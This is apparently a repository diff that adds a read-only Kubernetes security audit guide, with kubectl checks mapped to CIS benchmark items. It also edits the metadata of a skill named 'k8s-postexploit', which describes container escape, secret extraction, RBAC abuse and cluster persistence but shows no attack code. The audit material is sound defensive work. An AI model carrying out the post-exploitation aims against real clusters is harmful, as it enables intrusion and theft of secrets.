+ READ-ONLY Kubernetes security assessment using kubectl CLI. No resources are created, modified, or deleted — all checks use get/list/describe/auth can-i verbs only. Based on CIS Kubernetes Benchmark v1.8+.
16
+
17
+ ## Prerequisites
18
+
19
+ 1. **kubectl installed** — `kubectl version --client`
20
+ 2. **kubeconfig with read access** — cluster-viewer or equivalent ClusterRole
21
+ 3. **Verify read-only** — ALWAYS run `k8s_audit verify_readonly` first
22
+
23
+ ```bash
24
+ # Quick prerequisite check
25
+ kubectl version --client # verify kubectl
26
+ kubectl cluster-info # verify cluster access
27
+ kubectl auth can-i list pods --all-namespaces # verify read access
28
+ ```
29
+
30
+ ## Assessment Phases
31
+
32
+ ### Phase 0 — Safety Check (MANDATORY FIRST STEP)
33
+
34
+ ```
35
+ k8s_audit verify_readonly
36
+ ```
37
+
38
+ Confirms current identity has no write/modify/delete permissions via kubectl auth can-i. If write permissions are detected, STOP and request a read-only kubeconfig.
39
+
40
+ ### Phase 1 — RBAC Analysis
41
+
42
+ | Check | Command | CIS Benchmark |
43
+ |-------|---------|---------------|
44
+ | cluster-admin bindings | `k8s_audit rbac_audit` | 5.1.1 |
45
+ | Wildcard ClusterRoles | `k8s_audit rbac_audit` | 5.1.3 |
46
+ | Default SA permissions | `k8s_audit rbac_audit --namespace NS` | 5.1.5 |
47
+
48
+ ### Phase 2 — Pod Security
49
+
50
+ | Check | Command | CIS Benchmark |
51
+ |-------|---------|---------------|
52
+ | Privileged containers | `k8s_audit pod_security_audit` | 5.2.1 |
53
+ | hostPID / hostNetwork | `k8s_audit pod_security_audit` | 5.2.2, 5.2.3 |
54
+ | Dangerous capabilities | `k8s_audit pod_security_audit` | 5.2.7-9 |
55
+ | Root execution | `k8s_audit pod_security_audit` | 5.2.6 |
56
+ | hostPath mounts | `k8s_audit pod_security_audit` | 5.2.13 |
57
+
58
+ ### Phase 3 — Network Security
59
+
60
+ | Check | Command | CIS Benchmark |
61
+ |-------|---------|---------------|
62
+ | Missing NetworkPolicies | `k8s_audit network_policy_audit` | 5.3.2 |
63
+ | Default deny policies | `k8s_audit network_policy_audit` | 5.3.2 |
64
+ | Ingress TLS | `k8s_audit ingress_audit` | — |
65
+ | Ingress snippet injection | `k8s_audit ingress_audit` | — |
66
+
67
+ ### Phase 4 — Secrets & Encryption
68
+
69
+ | Check | Command | CIS Benchmark |
70
+ |-------|---------|---------------|
71
+ | Secret types & counts | `k8s_audit secrets_audit` | 5.4.1 |
72
+ | Secrets as env vars | `k8s_audit secrets_audit` | 5.4.1 |
73
+ | etcd encryption | `k8s_audit secrets_audit` | 1.2.29-30 |
74
+
75
+ ### Phase 5 — API Server & Infrastructure
76
+
77
+ | Check | Command | CIS Benchmark |
78
+ |-------|---------|---------------|
79
+ | Anonymous auth | `k8s_audit api_server_audit` | 1.2.1 |
80
+ | Insecure port | `k8s_audit api_server_audit` | 1.2.19 |
81
+ | Admission controllers | `k8s_audit api_server_audit` | 1.2.11-16 |
82
+ | Audit logging | `k8s_audit api_server_audit` | 1.2.17-18 |
83
+
84
+ ### Phase 6 — Workload Hardening
85
+
86
+ | Check | Command | CIS Benchmark |
87
+ |-------|---------|---------------|
88
+ | Resource limits | `k8s_audit resource_limits_audit` | 5.4.1 |
89
+ | LimitRange/ResourceQuota | `k8s_audit resource_limits_audit` | — |
90
+ | Image tags | `k8s_audit image_audit` | — |
91
+ | Untrusted registries | `k8s_audit image_audit` | — |
92
+ | SA auto-mount tokens | `k8s_audit serviceaccount_audit` | 5.1.5-6 |
93
+
94
+ ## Program Reference
95
+
96
+ | Program | Checks | CIS Section |
97
+ |---------|--------|-------------|
98
+ | verify_readonly | Write permission detection | — |
99
+ | rbac_audit | cluster-admin, wildcards, default SA | 5.1.x |
100
+ | network_policy_audit | Missing policies, default deny | 5.3.x |
101
+ | pod_security_audit | Privileged, hostPID, capabilities, root | 5.2.x |
102
+ | secrets_audit | Secret types, env exposure, etcd encryption | 1.2.29, 5.4.x |
103
+ | image_audit | Latest tags, pull policy, untrusted registries | — |
104
+ | api_server_audit | Anonymous auth, insecure port, admission, audit | 1.2.x |
105
+ | resource_limits_audit | CPU/memory limits, LimitRange, ResourceQuota | 5.4.x |
106
+ | ingress_audit | TLS, wildcard hosts, snippet injection | — |
107
+ | serviceaccount_audit | Auto-mount tokens, cluster-admin SAs, unused SAs | 5.1.x |
@@ -3,7 +3,7 @@ name: k8s-postexploit
3
3
  description: Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
4
4
  category: post-exploitation
5
5
  tags: [kubernetes, k8s, container, post-exploitation, rbac, escape, etcd, secrets, daemonset, cronjob]
6
- tech_stack: [kubernetes, python, etcd]
6
+ tech_stack: [kubernetes, kubectl, etcdctl]
7
7
  cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-250]
8
8
  chains_with: [T1611, T1552.007, T1613, T1610, T1053.007]
9
9
  prerequisites: [T1610, T1078]